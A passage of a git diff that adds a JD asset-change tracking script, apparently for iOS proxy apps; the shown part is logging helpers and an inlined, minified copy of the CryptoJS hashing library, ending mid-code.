console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_change.js b/jd_bean_change.js new file mode 100644 index 0000000..bd1b677 --- /dev/null +++ b/jd_bean_change.js @@ -0,0 +1,3236 @@ +/* +cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav + */ + +//详细说明参考 https://github.com/ccwav/QLScript2 + +// prettier-ignore +!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); dt[r] = s ^ c } t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 } function Mt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)wt[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); kt[r] = s ^ c } t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 } return h = bt.lib.WordArray, bt.enc.Base64 = { stringify: function (t) { var e = t.words, r = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < r; o += 3)for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++)n.push(i.charAt(s >>> 6 * (3 - c) & 63)); var a = i.charAt(64); if (a) for (; n.length % 4;)n.push(a); return n.join("") }, parse: function (t) { var e = t.length, r = this._map, i = this._reverseMap; if (!i) { i = this._reverseMap = []; for (var n = 0; n < r.length; n++)i[r.charCodeAt(n)] = n } var o = r.charAt(64); if (o) { var s = t.indexOf(o); -1 !== s && (e = s) } return function (t, e, r) { for (var i = [], n = 0, o = 0; o < e; o++)if (o % 4) { var s = r[t.charCodeAt(o - 1)] << o % 4 * 2, c = r[t.charCodeAt(o)] >>> 6 - o % 4 * 2, a = s | c; i[n >>> 2] |= a << 24 - n % 4 * 8, n++ } return h.create(i, n) }(t, e, i) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" }, function (l) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, n = t.algo, H = []; !function () { for (var t = 0; t < 64; t++)H[t] = 4294967296 * l.abs(l.sin(t + 1)) | 0 }(); var o = n.MD5 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o = this._hash.words, s = t[e + 0], c = t[e + 1], a = t[e + 2], h = t[e + 3], l = t[e + 4], f = t[e + 5], d = t[e + 6], u = t[e + 7], p = t[e + 8], _ = t[e + 9], v = t[e + 10], y = t[e + 11], g = t[e + 12], B = t[e + 13], w = t[e + 14], k = t[e + 15], S = o[0], m = o[1], x = o[2], b = o[3]; S = z(S, m, x, b, s, 7, H[0]), b = z(b, S, m, x, c, 12, H[1]), x = z(x, b, S, m, a, 17, H[2]), m = z(m, x, b, S, h, 22, H[3]), S = z(S, m, x, b, l, 7, H[4]), b = z(b, S, m, x, f, 12, H[5]), x = z(x, b, S, m, d, 17, H[6]), m = z(m, x, b, S, u, 22, H[7]), S = z(S, m, x, b, p, 7, H[8]), b = z(b, S, m, x, _, 12, H[9]), x = z(x, b, S, m, v, 17, H[10]), m = z(m, x, b, S, y, 22, H[11]), S = z(S, m, x, b, g, 7, H[12]), b = z(b, S, m, x, B, 12, H[13]), x = z(x, b, S, m, w, 17, H[14]), S = A(S, m = z(m, x, b, S, k, 22, H[15]), x, b, c, 5, H[16]), b = A(b, S, m, x, d, 9, H[17]), x = A(x, b, S, m, y, 14, H[18]), m = A(m, x, b, S, s, 20, H[19]), S = A(S, m, x, b, f, 5, H[20]), b = A(b, S, m, x, v, 9, H[21]), x = A(x, b, S, m, k, 14, H[22]), m = A(m, x, b, S, l, 20, H[23]), S = A(S, m, x, b, _, 5, H[24]), b = A(b, S, m, x, w, 9, H[25]), x = A(x, b, S, m, h, 14, H[26]), m = A(m, x, b, S, p, 20, H[27]), S = A(S, m, x, b, B, 5, H[28]), b = A(b, S, m, x, a, 9, H[29]), x = A(x, b, S, m, u, 14, H[30]), S = C(S, m = A(m, x, b, S, g, 20, H[31]), x, b, f, 4, H[32]), b = C(b, S, m, x, p, 11, H[33]), x = C(x, b, S, m, y, 16, H[34]), m = C(m, x, b, S, w, 23, H[35]), S = C(S, m, x, b, c, 4, H[36]), b = C(b, S, m, x, l, 11, H[37]), x = C(x, b, S, m, u, 16, H[38]), m = C(m, x, b, S, v, 23, H[39]), S = C(S, m, x, b, B, 4, H[40]), b = C(b, S, m, x, s, 11, H[41]), x = C(x, b, S, m, h, 16, H[42]), m = C(m, x, b, S, d, 23, H[43]), S = C(S, m, x, b, _, 4, H[44]), b = C(b, S, m, x, g, 11, H[45]), x = C(x, b, S, m, k, 16, H[46]), S = D(S, m = C(m, x, b, S, a, 23, H[47]), x, b, s, 6, H[48]), b = D(b, S, m, x, u, 10, H[49]), x = D(x, b, S, m, w, 15, H[50]), m = D(m, x, b, S, f, 21, H[51]), S = D(S, m, x, b, g, 6, H[52]), b = D(b, S, m, x, h, 10, H[53]), x = D(x, b, S, m, v, 15, H[54]), m = D(m, x, b, S, c, 21, H[55]), S = D(S, m, x, b, p, 6, H[56]), b = D(b, S, m, x, k, 10, H[57]), x = D(x, b, S, m, d, 15, H[58]), m = D(m, x, b, S, B, 21, H[59]), S = D(S, m, x, b, l, 6, H[60]), b = D(b, S, m, x, y, 10, H[61]), x = D(x, b, S, m, a, 15, H[62]), m = D(m, x, b, S, _, 21, H[63]), o[0] = o[0] + S | 0, o[1] = o[1] + m | 0, o[2] = o[2] + x | 0, o[3] = o[3] + b | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32; var n = l.floor(r / 4294967296), o = r; e[15 + (64 + i >>> 9 << 4)] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8), e[14 + (64 + i >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var s = this._hash, c = s.words, a = 0; a < 4; a++) { var h = c[a]; c[a] = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8) } return s }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); function z(t, e, r, i, n, o, s) { var c = t + (e & r | ~e & i) + n + s; return (c << o | c >>> 32 - o) + e } function A(t, e, r, i, n, o, s) { var c = t + (e & i | r & ~i) + n + s; return (c << o | c >>> 32 - o) + e } function C(t, e, r, i, n, o, s) { var c = t + (e ^ r ^ i) + n + s; return (c << o | c >>> 32 - o) + e } function D(t, e, r, i, n, o, s) { var c = t + (r ^ (e | ~i)) + n + s; return (c << o | c >>> 32 - o) + e } t.MD5 = i._createHelper(o), t.HmacMD5 = i._createHmacHelper(o) }(Math), e = (t = bt).lib, r = e.WordArray, i = e.Hasher, n = t.algo, f = [], o = n.SHA1 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = 0; a < 80; a++) { if (a < 16) f[a] = 0 | t[e + a]; else { var h = f[a - 3] ^ f[a - 8] ^ f[a - 14] ^ f[a - 16]; f[a] = h << 1 | h >>> 31 } var l = (i << 5 | i >>> 27) + c + f[a]; l += a < 20 ? 1518500249 + (n & o | ~n & s) : a < 40 ? 1859775393 + (n ^ o ^ s) : a < 60 ? (n & o | n & s | o & s) - 1894007588 : (n ^ o ^ s) - 899497514, c = s, s = o, o = n << 30 | n >>> 2, n = i, i = l } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }), t.SHA1 = i._createHelper(o), t.HmacSHA1 = i._createHmacHelper(o), function (n) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, o = t.algo, s = [], B = []; !function () { function t(t) { for (var e = n.sqrt(t), r = 2; r <= e; r++)if (!(t % r)) return; return 1 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var r = 2, i = 0; i < 64;)t(r) && (i < 8 && (s[i] = e(n.pow(r, .5))), B[i] = e(n.pow(r, 1 / 3)), i++), r++ }(); var w = [], c = o.SHA256 = i.extend({ _doReset: function () { this._hash = new r.init(s.slice(0)) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = 0; f < 64; f++) { if (f < 16) w[f] = 0 | t[e + f]; else { var d = w[f - 15], u = (d << 25 | d >>> 7) ^ (d << 14 | d >>> 18) ^ d >>> 3, p = w[f - 2], _ = (p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10; w[f] = u + w[f - 7] + _ + w[f - 16] } var v = i & n ^ i & o ^ n & o, y = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), g = l + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & a ^ ~c & h) + B[f] + w[f]; l = h, h = a, a = c, c = s + g | 0, s = o, o = n, n = i, i = g + (y + v) | 0 } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0, r[5] = r[5] + a | 0, r[6] = r[6] + h | 0, r[7] = r[7] + l | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = n.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); t.SHA256 = i._createHelper(c), t.HmacSHA256 = i._createHmacHelper(c) }(Math), function () { var n = bt.lib.WordArray, t = bt.enc; t.Utf16 = t.Utf16BE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(r, 2 * e) } }; function s(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } t.Utf16LE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = s(e[n >>> 2] >>> 16 - n % 4 * 8 & 65535); i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= s(t.charCodeAt(i) << 16 - i % 2 * 16); return n.create(r, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var t = bt.lib.WordArray, n = t.init; (t.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var e = t.byteLength, r = [], i = 0; i < e; i++)r[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, r, e) } else n.apply(this, arguments) }).prototype = t } }(), Math, c = (s = bt).lib, a = c.WordArray, l = c.Hasher, d = s.algo, m = a.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), x = a.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), b = a.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), H = a.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), z = a.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), A = a.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), u = d.RIPEMD160 = l.extend({ _doReset: function () { this._hash = a.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o, s, c, a, h, l, f, d, u, p, _, v = this._hash.words, y = z.words, g = A.words, B = m.words, w = x.words, k = b.words, S = H.words; l = o = v[0], f = s = v[1], d = c = v[2], u = a = v[3], p = h = v[4]; for (r = 0; r < 80; r += 1)_ = o + t[e + B[r]] | 0, _ += r < 16 ? mt(s, c, a) + y[0] : r < 32 ? xt(s, c, a) + y[1] : r < 48 ? Ht(s, c, a) + y[2] : r < 64 ? zt(s, c, a) + y[3] : At(s, c, a) + y[4], _ = (_ = Ct(_ |= 0, k[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = _, _ = l + t[e + w[r]] | 0, _ += r < 16 ? At(f, d, u) + g[0] : r < 32 ? zt(f, d, u) + g[1] : r < 48 ? Ht(f, d, u) + g[2] : r < 64 ? xt(f, d, u) + g[3] : mt(f, d, u) + g[4], _ = (_ = Ct(_ |= 0, S[r])) + p | 0, l = p, p = u, u = Ct(d, 10), d = f, f = _; _ = v[1] + c + u | 0, v[1] = v[2] + a + p | 0, v[2] = v[3] + h + l | 0, v[3] = v[4] + o + f | 0, v[4] = v[0] + s + d | 0, v[0] = _ }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var c = o[s]; o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } return n }, clone: function () { var t = l.clone.call(this); return t._hash = this._hash.clone(), t } }), s.RIPEMD160 = l._createHelper(u), s.HmacRIPEMD160 = l._createHmacHelper(u), p = bt.lib.Base, _ = bt.enc.Utf8, bt.algo.HMAC = p.extend({ init: function (t, e) { t = this._hasher = new t.init, "string" == typeof e && (e = _.parse(e)); var r = t.blockSize, i = 4 * r; e.sigBytes > i && (e = t.finalize(e)), e.clamp(); for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++)s[a] ^= 1549556828, c[a] ^= 909522486; n.sigBytes = o.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var e = this._hasher, r = e.finalize(t); return e.reset(), e.finalize(this._oKey.clone().concat(r)) } }), y = (v = bt).lib, g = y.Base, B = y.WordArray, w = v.algo, k = w.SHA1, S = w.HMAC, C = w.PBKDF2 = g.extend({ cfg: g.extend({ keySize: 4, hasher: k, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r = this.cfg, i = S.create(r.hasher, t), n = B.create(), o = B.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { var l = i.update(e).finalize(o); i.reset(); for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { u = i.finalize(u), i.reset(); for (var _ = u.words, v = 0; v < d; v++)f[v] ^= _[v] } n.concat(l), c[0]++ } return n.sigBytes = 4 * a, n } }), v.PBKDF2 = function (t, e, r) { return C.create(r).compute(t, e) }, E = (D = bt).lib, R = E.Base, M = E.WordArray, F = D.algo, P = F.MD5, W = F.EvpKDF = R.extend({ cfg: R.extend({ keySize: 4, hasher: P, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { r && n.update(r), r = n.update(t).finalize(e), n.reset(); for (var h = 1; h < a; h++)r = n.finalize(r), n.reset(); o.concat(r) } return o.sigBytes = 4 * c, o } }), D.EvpKDF = function (t, e, r) { return W.create(r).compute(t, e) }, I = (O = bt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ _doReset: function () { this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = K._doFinalize.call(this); return t.sigBytes -= 4, t } }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = bt.lib, j = L.Base, N = L.WordArray, (T = bt.x64 = {}).Word = j.extend({ init: function (t, e) { this.high = t, this.low = e } }), T.WordArray = j.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length }, toX32: function () { for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { var n = t[i]; r.push(n.high), r.push(n.low) } return N.create(r, this.sigBytes) }, clone: function () { for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++)e[i] = e[i].clone(); return t } }), function (d) { var t = bt, e = t.lib, u = e.WordArray, i = e.Hasher, l = t.x64.Word, r = t.algo, C = [], D = [], E = []; !function () { for (var t = 1, e = 0, r = 0; r < 24; r++) { C[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; var i = (2 * t + 3 * e) % 5; t = e % 5, e = i } for (t = 0; t < 5; t++)for (e = 0; e < 5; e++)D[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; for (var n = 1, o = 0; o < 24; o++) { for (var s = 0, c = 0, a = 0; a < 7; a++) { if (1 & n) { var h = (1 << a) - 1; h < 32 ? c ^= 1 << h : s ^= 1 << h - 32 } 128 & n ? n = n << 1 